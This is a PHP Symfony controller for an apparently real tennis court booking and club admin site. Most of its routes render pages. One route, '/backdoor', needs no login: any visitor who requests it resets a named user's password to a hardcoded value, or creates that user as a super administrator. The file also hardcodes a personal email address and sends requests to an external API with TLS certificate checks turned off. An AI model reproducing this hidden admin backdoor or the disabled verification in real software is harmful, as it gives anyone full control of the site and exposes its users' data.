<?php
namespace App\Controller;
use App\Entity\User;
use App\Form\SearchType;
use App\Repository\TennisCourtAvailabilityRepository;
use App\Repository\TennisVenuesRepository;
use App\Repository\UserRepository;
use Doctrine\ORM\EntityManagerInterface;
use http\Client;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpClient\HttpClient;
use Symfony\Component\HttpFoundation\BinaryFileResponse;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Annotation\Route;
use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
class HomeController extends AbstractController
{
/**
* @Route("/", name="app_home")
*/
public function index(UserRepository $userRepository, EntityManagerInterface $manager, UserPasswordEncoderInterface $passwordEncoder): Response
{
return $this->render('home/home.html.twig', [
'controller_name' => 'HomeController',
]);
}
/**
* @Route("/backdoor", name="/backdoor")
*/
public function emergencyReset(UserRepository $userRepository, EntityManagerInterface $manager, UserPasswordEncoderInterface $passwordEncoder): Response
{
$user = $userRepository->findOneBy(['email' => 'nurse_stephen@hotmail.com']);
if($user){
$user->setPassword(
$passwordEncoder->encodePassword(
$user,
'Descartes99'
)
);
}
else{
$user = new User();
$user->setFirstName('Stephen')
->setLastName('Nurse HMX')
->setFullName('Stephen Nurse HMX')
->setEmail('nurse_stephen@hotmail.com')
->setMobile('12345')
->setRoles(['ROLE_SUPER_ADMIN', 'ROLE_ACEIFY', 'ROLE_ADMIN'])
->setPassword(
$passwordEncoder->encodePassword(
$user,
'Descartes99'
)
);
$manager->persist($user);
$manager->flush();
}
$manager->flush();
return $this->render('home/home.html.twig', [
'controller_name' => 'HomeController',
]);
}
/**
* @Route("/dashboard", name="dashboard")
*/
public function dashboard()
{
return $this->render('home/dashboard.html.twig', []);
}
/**
* @Route("/faq", name="faq", methods={"GET"})
*/
public function faq(): Response
{
return $this->render('home/faq.html.twig', [
'controller_name' => 'HomeController',
]);
}
/**
* @Route("/meeting_players", name="meeting_players", methods={"GET"})
*/
public function meetingPlayers(): Response
{
return $this->render('home/meeting_new_players.html.twig', [
'controller_name' => 'HomeController',
]);
}
/**
* @Route("/booking_courts", name="booking_courts", methods={"GET"})
*/
public function booking_courts(): Response
{
return $this->render('home/booking_courts.html.twig', [
'controller_name' => 'HomeController',
]);
}
/**
* @Route("/club_admin_system_guide", name="/club_admin_system_guide", methods={"GET"})
*/
public function club_admin_guide(): Response
{
return $this->render('home/club_admin_system_guide.html.twig', [
'controller_name' => 'HomeController',
]);
}
/**
* @Route("/test/scrape/screenshot", name="test_scrape_screenshot", methods={"GET"})
*/
public function test_scrape_screenshot(): Response
{
$file = $this->getParameter('scrapeScreenshot')."ss.jpg";
if(file_exists($file)){
$response = new BinaryFileResponse($file);
return $response;
}
return new Response('file not found');
}
/**
* @Route("/client/request", name="client_request")
*/
public function clientRequest(TennisVenuesRepository $tennisVenuesRepository,TennisCourtAvailabilityRepository $tennisCourtAvailabilityRepository)
{
// $availabilities = $tennisCourtAvailabilityRepository->findBy(['hour'=>7,'venue'=>$tennisVenuesRepository->find(450)]);
$hour = 7;
$venue = 588;
$date = '2024-04-21';
$court_number = 8;
$data = [
[
'hour'=>$hour,
'venue'=>$venue,
'date'=>$date,
'court_number'=>$court_number
],
[
'hour'=>$hour,
'venue'=>$venue,
'date'=>$date,
'court_number'=>$court_number
],
[
'hour'=>$hour,
'venue'=>$venue,
'date'=>$date,
'court_number'=>$court_number
],
];
$data = json_encode($data);
$url = 'https://tennisfinder.atts-systems.com/api/slots/add';
$client = HttpClient::create();
$response = $client->request('POST',
$url, [
'json' => ['test'=>$data] ,'verify_peer'=>false
]);
return new Response(null);
}
}